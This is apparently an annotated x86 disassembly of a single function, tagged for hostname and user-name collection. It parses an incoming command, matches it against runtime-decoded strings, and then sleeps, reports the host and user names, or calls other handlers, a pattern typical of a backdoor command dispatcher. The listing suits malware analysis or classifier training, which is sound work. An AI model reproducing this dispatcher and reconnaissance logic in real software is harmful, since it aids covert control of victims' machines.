Function at 0x4022f0
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x410654]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x234]
push esi
push edi
push ecx
push 0x40d2e0
push eax
mov dword [ebp - 0x234], 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
mov edi, eax
add esp, 0xc
test edi, edi
je 0x402690
lea ecx, [ebp - 0x22d]
call fcn.00401700
mov esi, eax
cmp byte [esi + 6], 0
je 0x402360
push 0xf9a947ff
push 0x85ef9dbf
push 0
push 6
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 6], 0
mov eax, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402382
test cl, cl
je 0x40237e
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402382
add eax, 2
add esi, 2
test cl, cl
jne 0x402362
xor eax, eax
jmp 0x402387
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4023d3
lea eax, [ebp - 0x234]
push eax
push 0x40d2e0
push 0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strtok_s]
add esp, 0xc
test eax, eax
je 0x40267e
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
imul eax, eax, 0x3e8
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x22d]
call fcn.00402040
mov esi, eax
cmp byte [esi + 7], 0
je 0x402401
push 0x1f25313b
push 0xb56143eb
push 0
push 7
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 7], 0
mov eax, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402423
test cl, cl
je 0x40241f
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402423
add eax, 2
add esi, 2
test cl, cl
jne 0x402403
xor eax, eax
jmp 0x402428
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4024c7
push 0x101
push eax
lea eax, [ebp - 0x118]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x14], xmm0
call fcn.004099b0
add esp, 0xc
mov dword [ebp - 0x238], 0x10
lea eax, [ebp - 0x238]
mov dword [ebp - 0x23c], 0x101
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d2e4
lea eax, [ebp - 0x22c]
push 0x111
push eax
call fcn.004029b0
lea eax, [ebp - 0x22c]
push eax
call fcn.00404c00
add esp, 0x18
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x22d]
call fcn.00401650
mov esi, eax
cmp byte [esi + 8], 0
je 0x4024f5
push 0x9b77efa7
push 0x1fa53b3f
push 0
push 8
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 8], 0
mov eax, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402517
test cl, cl
je 0x402513
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402517
add eax, 2
add esi, 2
test cl, cl
jne 0x4024f7
xor eax, eax
jmp 0x40251c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402537
call fcn.004026b0
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x22d]
call fcn.00402100
mov esi, eax
cmp byte [esi + 8], 0
je 0x402565
push 0x49edfd3f
push 0x89812fa5
push 0
push 8
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 8], 0
mov eax, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402587
test cl, cl
je 0x402583
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402587
add eax, 2
add esi, 2
test cl, cl
jne 0x402567
xor eax, eax
jmp 0x40258c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4025b1
lea eax, [ebp - 0x234]
push eax
call fcn.00407860
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x22d]
call fcn.00401930
mov esi, eax
cmp byte [esi + 6], 0
je 0x4025df
push 0x13bfd92d
push 0x2557e107
push 0
push 6
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 6], 0
mov eax, edi
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402601
test cl, cl
je 0x4025fd
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402601
add eax, 2
add esi, 2
test cl, cl
jne 0x4025e1
xor eax, eax
jmp 0x402606
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402621
call fcn.00407c70
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x22d]
call fcn.00401870
mov esi, eax
cmp byte [esi + 0xb], 0
je 0x402650
push 0x769f7eb
push 0xeb59dbd3
push 0
push 0xb
push esi
call fcn.00401450
add esp, 0x14
mov byte [esi + 0xb], 0
nop
mov al, byte [edi]
cmp al, byte [esi]
jne 0x402670
test al, al
je 0x40266c
mov al, byte [edi + 1]
cmp al, byte [esi + 1]
jne 0x402670
add edi, 2
add esi, 2
test al, al
jne 0x402650
xor eax, eax
jmp 0x402675
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402690
call fcn.00408060
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408be8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00408be8
mov esp, ebp
pop ebp
ret